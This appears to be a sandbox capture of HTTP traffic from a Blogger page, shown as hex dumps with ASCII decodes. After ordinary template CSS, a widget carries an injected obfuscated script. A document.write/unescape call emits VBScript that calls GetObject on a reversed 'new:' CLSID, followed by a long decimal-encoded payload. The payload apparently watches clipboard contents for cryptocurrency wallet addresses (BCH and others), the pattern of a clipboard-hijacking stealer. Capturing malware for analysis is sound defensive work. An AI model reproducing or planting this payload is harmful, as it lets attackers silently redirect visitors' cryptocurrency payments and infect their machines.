29 20 72 65 70 65 61 74 2d 78 20 73 63 72 6f 6c 6c 20 30 20 2d 34 30 30 70 78 3b 0a 5f 62 61 63 6b 67 72 6f 75 6e 64 2d 
69 6d 61 67 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 48 65 61 64 65 72 20 68 31 20 7b 0a 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 
20 6e 6f 72 6d 61 6c 20 36 30 70 78 20 41 72 69 61 6c 2c 20 54 61 68 6f 6d 61 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 46 
72 65 65 53 61 6e 73 2c 20 73 61 6e 73 2d 73 65 72 69 
Data Ascii: /.header-outer {background: #cc6611 url(https://resources.blogblog.com/blogblog/data/1kt/simple/gradients_li
ght.png) repeat-x scroll 0 -400px;_background-image: none;}.Header h1 {font: normal normal 60px Arial, Tahoma, 
Helvetica, FreeSans, sans-seri

2021-11-25 17:33:40 UTC 11 IN Data Raw: 2d 69 6e 6e 65 72 20 2e 77 69 64 67 65 74 20 6c 69 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 61 20 7b 0a 62 6f 
72 64 65 72 2d 6c 65 66 74 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 74 61 62 73 2d 69 6e 6e 65 72 20 2e 77 69 64 67 65 74 20 
6c 69 2e 73 65 6c 65 63 74 65 64 20 61 2c 20 2e 74 61 62 73 2d 69 6e 6e 65 72 20 2e 77 69 64 67 65 74 20 6c 69 20 61 
3a 68 6f 76 65 72 20 7b 0a 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 
72 3a 20 23 65 65 65 65 65 65 3b 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2f 2a 20 
43 6f 6c 75 6d 6e 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2
d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2e 6d 
Data Ascii: -inner .widget li:first-child a {border-left: none;}.tabs-inner .widget li.selected a, .tabs-inner .widget li a:hover 
{color: #000000;background-color: #eeeeee;text-decoration: none;}/* Columns----------------------------------------------- */.m

2021-11-25 17:33:40 UTC 12 IN Data Raw: 0a 2e 70 6f 73 74 20 7b 0a 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 35 70 78 20 30 3b 0a 7d 0a 68 33 2e 70 6f 
73 74 2d 74 69 74 6c 65 2c 20 2e 63 6f 6d 6d 65 6e 74 73 20 68 34 20 7b 0a 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 6e 6f 
72 6d 61 6c 20 32 32 70 78 20 41 72 69 61 6c 2c 20 54 61 68 6f 6d 61 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 46 72 65 
65 53 61 6e 73 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 6d 61 72 67 69 6e 3a 20 2e 37 35 65 6d 20 30 20 30 3b 0a 7d 
0a 2e 70 6f 73 74 2d 62 6f 64 79 20 7b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 30 25 3b 0a 6c 69 6e 65 2d 68 65 69 67 
68 74 3a 20 31 2e 34 3b 0a 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 2e 70 6f 73 74 2d 62 6f 64 
79 20 69 6d 67 2c 20 2e 70 6f 73 74 2d 62 6f 64 79 20 2e 74 72 
Data Ascii: .post {margin: 0 0 25px 0;}h3.post-title, .comments h4 {font: normal normal 22px Arial, Tahoma, Helvetica, F
reeSans, sans-serif;margin: .75em 0 0;}.post-body {font-size: 110%;line-height: 1.4;position: relative;}.post-body img, .post-
body .tr

2021-11-25 17:33:40 UTC 14 IN Data Raw: 74 61 72 2d 69 6d 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 6d 61 72 67 69 6e 3a 20 2e 32 65 6d 20 30 
20 30 3b 0a 7d 0a 23 63 6f 6d 6d 65 6e 74 73 20 2e 61 76 61 74 61 72 2d 69 6d 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 
20 69 6d 67 20 7b 0a 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 65 65 65 3b 0a 7d 0a 2f 2a 20 43 
6f 6d 6d 65 6e 74 73 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2e 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 73 2d 
63 6f 6e 74 65 6e 74 20 2e 69 63 6f 6e 2e 62 6c 6f 67 2d 61 75 74 68 6f 72 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 72 
65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 62 61 63 
Data Ascii: tar-image-container {margin: .2em 0 0;}#comments .avatar-image-container img {border: 1px solid #eeeeee;}/* 
Comments----------------------------------------------- */.comments .comments-content .icon.blog-author {background-repeat: no-rep
eat;bac

2021-11-25 17:33:40 UTC 15 IN Data Raw: 72 2d 6c 69 6e 6b 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 
70 61 64 64 69 6e 67 3a 20 35 70 78 3b 0a 7d 0a 2e 66 6f 6f 74 65 72 2d 6f 75 74 65 72 20 7b 0a 62 6f 72 64 65 72 2d 74 
6f 70 3a 20 30 20 64 61 73 68 65 64 20 23 62 62 62 62 62 62 3b 0a 7d 0a 2f 2a 20 4d 6f 62 69 6c 65 0a 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 20 2a 2f 0a 62 6f 64 79 2e 6d 6f 62 69 6c 65 20 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 61 75 
74 6f 3b 0a 7d 0a 2e 6d 6f 62 69 6c 65 20 2e 62 6f 64 79 2d 66 61 75 78 63 6f 6c 75 6d 6e 2d 6f 75 74 65 72 20 7b 0a 62 
61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 
Data Ascii: r-link {background-color: #ffffff;padding: 5px;}.footer-outer {border-top: 0 dashed #bbbbbb;}/* Mobile------------------
----------------------------- */body.mobile  {background-size: auto;}.mobile .body-fauxcolumn-outer {background: transpare

2021-11-25 17:33:40 UTC 16 IN Data Raw: 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 65 65 65 3b 0a 7d 0a 2e 6d 6f 62 
69 6c 65 20 2e 74 61 62 73 2d 69 6e 6e 65 72 20 2e 50 61 67 65 4c 69 73 74 20 2e 77 69 64 67 65 74 2d 63 6f 6e 74 65 
6e 74 20 2e 70 61 67 65 6c 69 73 74 2d 61 72 72 6f 77 20 7b 0a 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 31 70 78 20 73 6f 
6c 69 64 20 23 65 65 65 65 65 65 3b 0a 7d 0a 0a 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 
74 65 6d 70 6c 61 74 65 2d 73 6b 69 6e 2d 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 3c 21 2d 2d 0a 62 6f 
64 79 20 7b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 39 36 30 70 78 3b 0a 7d 0a 2e 63 6f 6e 74 65 6e 74 2d 6f 75 74 65 72 2
c 20 2e 63 6f 6e 74 65 6e 74 2d 66 61 75 78 63 6f 6c 75 6d 6e 2d 
Data Ascii: er-bottom: 1px solid #eeeeee;}.mobile .tabs-inner .PageList .widget-content .pagelist-arrow {border-left: 1px 
solid #eeeeee;}--></style><style id='template-skin-1' type='text/css'>...body {min-width: 960px;}.content-outer, .content-
fauxcolumn-

2021-11-25 17:33:40 UTC 17 IN Data Raw: 3d 27 73 74 79 6c 65 73 68 65 65 74 27 2f 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 
27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 64 79 6e 2d 63 73 73 2f 61 75 74 68 6f 72 69 
7a 61 74 69 6f 6e 2e 63 73 73 3f 74 61 72 67 65 74 42 6c 6f 67 49 44 3d 33 39 30 33 36 30 39 34 31 39 33 31 37 36 39 39 
33 39 38 26 61 6d 70 3b 7a 78 3d 35 66 30 37 63 38 37 36 2d 65 64 31 35 2d 34 31 32 66 2d 61 33 30 31 2d 65 62 63 65 
64 66 34 36 33 39 35 65 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 
3c 6d 65 74 61 20 6e 61 6d 65 3d 27 67 6f 6f 67 6c 65 2d 61 64 73 65 6e 73 65 2d 70 6c 61 74 66 6f 72 6d 2d 61 63 63 6f 
75 6e 74 27 20 63 6f 6e 74 65 6e 74 3d 27 63 61 2d 68 6f 73 
Data Ascii: ='stylesheet'/><noscript><link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogI
D=3903609419317699398&amp;zx=5f07c876-ed15-412f-a301-ebcedf46395e' rel='stylesheet'/></noscript><meta 
name='google-adsense-platform-account' content='ca-hos
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2021-11-25 17:33:40 UTC 19 IN Data Raw: 68 74 27 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 
63 6c 61 73 73 3d 27 63 6f 6e 74 65 6e 74 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 6f 6e 74 65 6e 74 2d 66 61 75 
78 63 6f 6c 75 6d 6e 73 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 66 61 75 78 63 6f 6c 75 6d 6e 2d 6f 75 74 65 72 20 
63 6f 6e 74 65 6e 74 2d 66 61 75 78 63 6f 6c 75 6d 6e 2d 6f 75 74 65 72 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 
61 70 2d 74 6f 70 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 70 2d 6c 65 66 74 27 3e 3c 2f 64 69 76 3e 0a 3c 64 
69 76 20 63 6c 61 73 73 3d 27 63 61 70 2d 72 69 67 68 74 27 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 
63 6c 61 73 73 3d 27 66 61 75 78 62 6f 72 64 65 72 2d 
Data Ascii: ht'></div></div></div></div><div class='content'><div class='content-fauxcolumns'><div class='fauxcolumn-out
er content-fauxcolumn-outer'><div class='cap-top'><div class='cap-left'></div><div class='cap-right'></div></div><div cl
ass='fauxborder-

2021-11-25 17:33:40 UTC 20 IN Data Raw: 70 65 72 27 3e 0a 3c 70 20 63 6c 61 73 73 3d 27 64 65 73 63 72 69 70 74 69 6f 6e 27 3e 3c 73 70 61 6e 3e 0a 
3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 
64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 68 65 61 64 65 72 2d 63 61 70 2d 62 6f 74 74 6f 
6d 20 63 61 70 2d 62 6f 74 74 6f 6d 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 70 2d 6c 65 66 74 27 3e 3c 2f 64 
69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 70 2d 72 69 67 68 74 27 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 
0a 3c 2f 64 69 76 3e 0a 3c 2f 68 65 61 64 65 72 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 74 61 62 73 2d 6f 75 74 65 72 
27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 74 61 62 
Data Ascii: per'><p class='description'><span></span></p></div></div></div></div></div></div><div class='header-cap-
bottom cap-bottom'><div class='cap-left'></div><div class='cap-right'></div></div></div></header><div class='tabs-outer'>
<div class='tab

2021-11-25 17:33:40 UTC 20 IN Data Raw: 38 30 30 30 0d 0a 54 4d 4c 27 20 64 61 74 61 2d 76 65 72 73 69 6f 6e 3d 27 31 27 20 69 64 3d 27 48 54 4d 4c 
31 27 3e 0a 3c 68 32 20 63 6c 61 73 73 3d 27 74 69 74 6c 65 27 3e 6d 69 6e 3c 2f 68 32 3e 0a 3c 64 69 76 20 63 6c 61 
73 73 3d 27 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 0a 64 6f 63 75 6d 
65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 22 25 33 43 73 63 72 69 70 74 25 32 30 6c 61 6e 67 75 61 67 
65 25 33 44 25 32 32 56 42 53 63 72 69 70 74 25 32 32 25 33 45 25 30 41 47 65 74 4f 62 6a 65 63 74 25 32 38 53 74 72 5
2 65 76 65 72 73 65 25 32 38 25 32 32 42 30 41 38 35 44 46 34 30 43 30 30 2d 39 42 44 41 2d 30 44 31 31 2d 30 46 43 
31 2d 32 32 43 44 35 33 39 46 25 33 41 77 65 6e 25 32 32 25 32 39 25 
Data Ascii: 8000TML' data-version='1' id='HTML1'><h2 class='title'>min</h2><div class='widget-content'><script
>...document.write(unescape("%3Cscript%20language%3D%22VBScript%22%3E%0AGetObject%28StrReverse%28%22
B0A85DF40C00-9BDA-0D11-0FC1-22CD539F%3Awen%22%29%

2021-11-25 17:33:40 UTC 22 IN Data Raw: 30 31 30 25 32 43 30 30 39 25 32 43 31 32 33 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 
43 30 30 39 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 31 31 37 25 32 43 31 31 34 25 32 43 31 31 
30 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 30 32 25 32 43 30 39 37 25 32 43 31 30 38 25 32 43 31 31 35 25 32 
43 31 30 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 32 35 25 32 43 30 31 33 25 32 43 30 31 
30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 36 25 32 
43 31 31 37 25 32 43 31 31 34 25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 36 25 32 43 31 31 
34 25 32 43 31 31 37 25 32 43 31 30 31 25 32 43 30 31 33 25 32 43 30 31 30 
Data Ascii: 010%2C009%2C123%2C013%2C010%2C009%2C009%2C114%2C101%2C116%2C117%2C11
4%2C110%2C032%2C036%2C102%2C097%2C108%2C115%2C101%2C013%2C010%2C009%2C125%2C013%
2C010%2C013%2C010%2C009%2C114%2C101%2C116%2C117%2C114%2C110%2C032%2C036%2C116%2C
114%2C117%2C101%2C013%2C010

2021-11-25 17:33:40 UTC 23 IN Data Raw: 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 30 39 39 25 32 43 31 
31 30 25 32 43 31 31 31 25 32 43 31 31 36 25 32 43 31 30 39 25 32 43 30 39 37 25 32 43 31 31 36 25 32 43 30 39 39 25 
32 43 31 30 34 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 38 25 32 43 30 39 37 25 32 43 31 30 38 25 32 43 31 
30 35 25 32 43 31 30 30 25 32 43 30 38 32 25 32 43 31 30 31 25 32 43 31 30 33 25 32 43 31 30 31 25 32 43 31 32 30 25 
32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 32 33 25 32 43 30 31 33 25 32 43 30 
31 30 25 32 43 30 30 39 25 32 43 30 30 39 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 31 31 37 25 
32 43 31 31 34 25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 30 33 36 25 32 
Data Ascii: 1%2C110%2C116%2C032%2C045%2C099%2C110%2C111%2C116%2C109%2C097%2C116%
2C099%2C104%2C032%2C036%2C118%2C097%2C108%2C105%2C100%2C082%2C101%2C103%2C101%2C
120%2C041%2C013%2C010%2C009%2C123%2C013%2C010%2C009%2C009%2C114%2C101%2C116%2C11
7%2C114%2C110%2C032%2C036%2

2021-11-25 17:33:40 UTC 24 IN Data Raw: 32 43 30 39 37 25 32 43 30 34 35 25 32 43 31 30 37 25 32 43 31 30 39 25 32 43 30 34 35 25 32 43 31 32 32 
25 32 43 30 39 33 25 32 43 31 32 33 25 32 43 30 35 37 25 32 43 30 35 31 25 32 43 31 32 35 25 32 43 30 33 36 25 32 43 
30 33 39 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 30 35 25 32 43 31 30 32 25 32 43 30 34 30 
25 32 43 30 33 36 25 32 43 30 39 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 
31 31 31 25 32 43 30 39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 
25 32 43 31 31 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 
30 39 39 25 32 43 31 31 30 25 32 43 31 31 31 25 32 43 31 31 36 25 32 43 31 
Data Ascii: 2C097%2C045%2C107%2C109%2C045%2C122%2C093%2C123%2C057%2C051%2C125%2C
036%2C039%2C013%2C010%2C009%2C105%2C102%2C040%2C036%2C099%2C108%2C105%2C112%2C09
8%2C111%2C097%2C114%2C100%2C067%2C111%2C110%2C116%2C101%2C110%2C116%2C032%2C045%
2C099%2C110%2C111%2C116%2C1

2021-11-25 17:33:40 UTC 26 IN Data Raw: 30 39 37 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 30 30 25 32 43 30 38 32 25 32 43 31 30 31 25 32 
43 31 30 33 25 32 43 31 30 31 25 32 43 31 32 30 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 25 32 43 30 33 
39 25 32 43 30 39 34 25 32 43 30 37 31 25 32 43 30 39 31 25 32 43 30 34 38 25 32 43 30 34 35 25 32 43 30 35 37 25 32 
43 30 39 37 25 32 43 30 34 35 25 32 43 31 32 32 25 32 43 30 36 35 25 32 43 30 34 35 25 32 43 30 39 30 25 32 43 30 39 
33 25 32 43 31 32 33 25 32 43 30 35 33 25 32 43 30 35 33 25 32 43 31 32 35 25 32 43 30 33 36 25 32 43 30 33 39 25 32 
43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 30 35 25 32 43 31 30 32 25 32 43 30 34 30 25 32 43 30 33 
36 25 32 43 30 39 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 
Data Ascii: 097%2C108%2C105%2C100%2C082%2C101%2C103%2C101%2C120%2C032%2C061%2C03
2%2C039%2C094%2C071%2C091%2C048%2C045%2C057%2C097%2C045%2C122%2C065%2C045%2C090%
2C093%2C123%2C053%2C053%2C125%2C036%2C039%2C013%2C010%2C009%2C105%2C102%2C040%2C
036%2C099%2C108%2C105%2C112

2021-11-25 17:33:40 UTC 27 IN Data Raw: 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 34 36 25 32 43 31 30 38 25 32 43 31 
30 31 25 32 43 31 31 30 25 32 43 31 30 33 25 32 43 31 31 36 25 32 43 31 30 34 25 32 43 30 31 33 25 32 43 30 31 30 25 
32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 33 36 25 32 43 31 31 38 25 32 43 30 39 37 25 32 43 31 
30 38 25 32 43 31 30 35 25 32 43 31 30 30 25 32 43 30 38 32 25 32 43 31 30 31 25 32 43 31 30 33 25 32 43 31 30 31 25 
32 43 31 32 30 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 25 32 43 30 33 39 25 32 43 30 39 34 25 32 43 31 
31 34 25 32 43 30 39 31 25 32 43 30 34 38 25 32 43 30 34 35 25 32 43 30 35 37 25 32 43 30 39 37 25 32 43 30 34 35 25 
32 43 31 32 32 25 32 43 30 36 35 25 32 43 30 34 35 25 32 43 30 39 30 25 32 
Data Ascii: 6%2C101%2C110%2C116%2C046%2C108%2C101%2C110%2C103%2C116%2C104%2C013%
2C010%2C013%2C010%2C009%2C036%2C118%2C097%2C108%2C105%2C100%2C082%2C101%2C103%2C
101%2C120%2C032%2C061%2C032%2C039%2C094%2C114%2C091%2C048%2C045%2C057%2C097%2C04
5%2C122%2C065%2C045%2C090%2
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2021-11-25 17:33:40 UTC 28 IN Data Raw: 32 43 31 31 36 25 32 43 31 31 34 25 32 43 30 37 36 25 32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 30 33 
25 32 43 31 31 36 25 32 43 31 30 34 25 32 43 30 33 32 25 32 43 30 36 31 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 
30 39 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 39 37 
25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 
31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 34 36 25 32 43 31 30 38 25 32 43 31 30 31 25 32 43 31 31 30 
25 32 43 31 30 33 25 32 43 31 31 36 25 32 43 31 30 34 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 
30 31 30 25 32 43 30 33 35 25 32 43 30 33 32 25 32 43 30 30 39 25 32 43 30 
Data Ascii: 2C116%2C114%2C076%2C101%2C110%2C103%2C116%2C104%2C032%2C061%2C032%2C
036%2C099%2C108%2C105%2C112%2C098%2C111%2C097%2C114%2C100%2C067%2C111%2C110%2C11
6%2C101%2C110%2C116%2C046%2C108%2C101%2C110%2C103%2C116%2C104%2C013%2C010%2C013%
2C010%2C035%2C032%2C009%2C0

2021-11-25 17:33:40 UTC 29 IN Data Raw: 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 31 30 32 25 32 43 31 31 37 25 32 43 31 31 30 25 32 
43 30 39 39 25 32 43 31 31 36 25 32 43 31 30 35 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 31 30 
35 25 32 43 31 31 35 25 32 43 30 36 36 25 32 43 30 36 37 25 32 43 30 37 32 25 32 43 30 36 35 25 32 43 31 30 30 25 32 
43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 35 25 32 43 31 31 35 25 32 43 30 34 30 25 32 43 30 39 31 25 32 43 31 31 
35 25 32 43 31 31 36 25 32 43 31 31 34 25 32 43 31 30 35 25 32 43 31 31 30 25 32 43 31 30 33 25 32 43 30 39 33 25 32 
43 30 33 36 25 32 43 30 39 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 
31 25 32 43 30 39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 
Data Ascii: 010%2C013%2C010%2C102%2C117%2C110%2C099%2C116%2C105%2C111%2C110%2C03
2%2C105%2C115%2C066%2C067%2C072%2C065%2C100%2C114%2C101%2C115%2C115%2C040%2C091%
2C115%2C116%2C114%2C105%2C110%2C103%2C093%2C036%2C099%2C108%2C105%2C112%2C098%2C
111%2C097%2C114%2C100%2C067

2021-11-25 17:33:40 UTC 31 IN Data Raw: 30 25 32 43 30 30 39 25 32 43 31 32 35 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 
31 30 25 32 43 30 30 39 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 31 31 37 25 32 43 31 31 34 25 
32 43 31 31 30 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 31 36 25 32 43 31 31 34 25 32 43 31 31 37 25 32 43 31 
30 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 31 32 35 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 
32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 33 35 25 32 43 30 39 38 25 32 43 30 39 39 25 32 43 31 
31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 
32 43 30 33 35 25 32 43 30 39 37 25 32 43 31 30 30 25 32 43 30 39 37 25 32 
Data Ascii: 0%2C009%2C125%2C013%2C010%2C013%2C010%2C009%2C114%2C101%2C116%2C117%
2C114%2C110%2C032%2C036%2C116%2C114%2C117%2C101%2C013%2C010%2C125%2C013%2C010%2C
013%2C010%2C013%2C010%2C035%2C098%2C099%2C110%2C013%2C010%2C013%2C010%2C013%2C01
0%2C035%2C097%2C100%2C097%2

2021-11-25 17:33:40 UTC 32 IN Data Raw: 32 43 31 30 35 25 32 43 31 30 30 25 32 43 30 38 32 25 32 43 31 30 31 25 32 43 31 30 33 25 32 43 31 30 31 
25 32 43 31 32 30 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 31 32 33 25 32 43 
30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 30 39 25 32 43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 36 
25 32 43 31 31 37 25 32 43 31 31 34 25 32 43 31 31 30 25 32 43 30 33 32 25 32 43 30 33 36 25 32 43 31 30 32 25 32 43 
30 39 37 25 32 43 31 30 38 25 32 43 31 31 35 25 32 43 31 30 31 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 
25 32 43 31 32 35 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 
31 31 34 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 31 31 37 25 32 43 31 
Data Ascii: 2C105%2C100%2C082%2C101%2C103%2C101%2C120%2C041%2C013%2C010%2C009%2C
123%2C013%2C010%2C009%2C009%2C114%2C101%2C116%2C117%2C114%2C110%2C032%2C036%2C10
2%2C097%2C108%2C115%2C101%2C013%2C010%2C009%2C125%2C013%2C010%2C013%2C010%2C009%
2C114%2C101%2C116%2C117%2C1

2021-11-25 17:33:40 UTC 33 IN Data Raw: 30 33 32 25 32 43 30 34 35 25 32 43 30 39 39 25 32 43 31 31 30 25 32 43 31 31 31 25 32 43 31 31 36 25 32 
43 31 30 39 25 32 43 30 39 37 25 32 43 31 31 36 25 32 43 30 39 39 25 32 43 31 30 34 25 32 43 30 33 32 25 32 43 30 33 
36 25 32 43 31 31 38 25 32 43 30 39 37 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 30 30 25 32 43 30 38 32 25 32 
43 31 30 31 25 32 43 31 30 33 25 32 43 31 30 31 25 32 43 31 32 30 25 32 43 30 34 31 25 32 43 30 31 33 25 32 43 30 31 
30 25 32 43 30 30 39 25 32 43 31 32 33 25 32 43 30 31 33 25 32 43 30 31 30 25 32 43 30 30 39 25 32 43 30 30 39 25 32 
43 31 31 34 25 32 43 31 30 31 25 32 43 31 31 36 25 32 43 31 31 37 25 32 43 31 31 34 25 32 43 31 31 30 25 32 43 30 33 
32 25 32 43 30 33 36 25 32 43 31 30 32 25 32 43 30 39 37 25 32 43 31 30 38 
Data Ascii: 032%2C045%2C099%2C110%2C111%2C116%2C109%2C097%2C116%2C099%2C104%2C03
2%2C036%2C118%2C097%2C108%2C105%2C100%2C082%2C101%2C103%2C101%2C120%2C041%2C013%
2C010%2C009%2C123%2C013%2C010%2C009%2C009%2C114%2C101%2C116%2C117%2C114%2C110%2C
032%2C036%2C102%2C097%2C108

2021-11-25 17:33:40 UTC 34 IN Data Raw: 39 25 32 43 31 30 38 25 32 43 31 30 35 25 32 43 31 31 32 25 32 43 30 39 38 25 32 43 31 31 31 25 32 43 30 
39 37 25 32 43 31 31 34 25 32 43 31 30 30 25 32 43 30 36 37 25 32 43 31 31 31 25 32 43 31 31 30 25 32 43 31 31 36 25 
32 43 31 30 31 25 32 43 31 31 30 25 32 43 31 31 36 25 32 43 30 33 32 25 32 43 30 34 35 25 32 43 30 39 39 25 32 43 31 
31 30 25 32 43 31 31 31 25 32 43 31 31 36 25 32 43 31 30 39 25 32 43 30 39 37 25 32 43 31 31 36 25 32 43 30 39 39 25 
